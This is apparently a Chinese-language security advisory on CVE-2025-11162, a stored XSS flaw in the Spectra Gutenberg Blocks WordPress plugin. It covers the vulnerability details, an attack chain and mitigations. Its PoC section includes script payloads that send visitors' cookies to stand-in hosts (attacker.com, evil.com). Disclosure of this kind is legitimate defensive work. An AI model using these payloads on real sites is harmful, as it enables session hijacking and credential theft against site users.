IPBUF安全漏洞报告
English
CVE-2025-11162 CVSS 6.4 中危

CVE-2025-11162 Spectra Gutenberg Blocks存储型XSS漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11162
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Spectra Gutenberg Blocks – Website Builder for the Block Editor (WordPress插件)

相关标签

存储型XSSWordPress插件漏洞SpectraGutenbergCustom CSSCVE-2025-11162权限提升跨站脚本

漏洞概述

Spectra Gutenberg Blocks是WordPress的一个流行网站构建器插件,为古登堡编辑器提供丰富的区块功能。该插件在2.19.14及之前版本中存在存储型跨站脚本(XSS)漏洞,攻击者可以通过Custom CSS功能注入恶意JavaScript代码。由于该插件未对用户输入进行充分的输入验证和输出转义,恶意脚本会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。攻击者利用此漏洞需要至少具有Contributor级别的WordPress账户权限。

技术细节

该漏洞根源在于Spectra Gutenberg Blocks插件的Custom CSS功能缺少适当的输入清理和输出转义。具体问题位于class-uagb-loader.php和class-uagb-post-assets.php文件中,插件直接将用户提交的CSS内容输出到页面而未进行安全处理。攻击者以Contributor或更高权限登录WordPress后台后,可在页面编辑器的Custom CSS设置中插入包含<script>标签或事件处理器(如onerror、onload)的恶意代码。由于这些CSS设置会保存在文章元数据中,所有访问该页面的用户都会触发恶意脚本执行。CVSS 3.1向量显示攻击复杂度低、无需用户交互,但影响范围限于机密性和完整性(均为低影响)。

攻击链分析

STEP 1
信息收集
攻击者识别目标站点使用的Spectra Gutenberg Blocks插件版本,确认版本≤2.19.14
STEP 2
权限获取
攻击者获取WordPress Contributor级别或更高权限的账户(可能通过钓鱼、密码复用或社工)
STEP 3
恶意代码注入
攻击者登录WordPress后台,在页面/文章编辑器的Custom CSS功能中注入包含XSS payload的CSS代码
STEP 4
数据持久化
恶意代码随页面内容保存到数据库,每次页面加载时都会从数据库读取并输出
STEP 5
脚本执行
当其他用户(管理员、访问者)访问被注入的页面时,浏览器解析HTML并执行存储的恶意JavaScript代码
STEP 6
攻击完成
攻击者通过XSS成功窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// WordPress Contributor权限账户登录后执行 // 在页面编辑器的Custom CSS中注入以下代码: // PoC 1: 基础弹窗测试 <script>alert(document.cookie)</script> // PoC 2: 事件处理器XSS <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // PoC 3: 持久化Cookie窃取 <script> var img = new Image(); img.src = 'https://evil.com/log?c=' + encodeURIComponent(document.cookie); </script> // 修复后的安全写法示例: // 插件应使用wp_kses()或esc_html()/esc_attr()对用户输入进行过滤和转义 function safe_css_output($css) { return esc_html($css); }

影响范围

Spectra Gutenberg Blocks (Ultimate Addons for Gutenberg) ≤ 2.19.14

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:(1)限制非管理员用户使用Custom CSS功能,考虑使用WordPress角色管理插件精细化权限控制;(2)部署Web应用防火墙规则拦截包含<script>标签或事件处理器属性的请求;(3)启用HTTP安全头如Content-Security-Policy限制内联脚本执行;(4)对所有使用该插件的页面进行安全扫描,清除已注入的恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表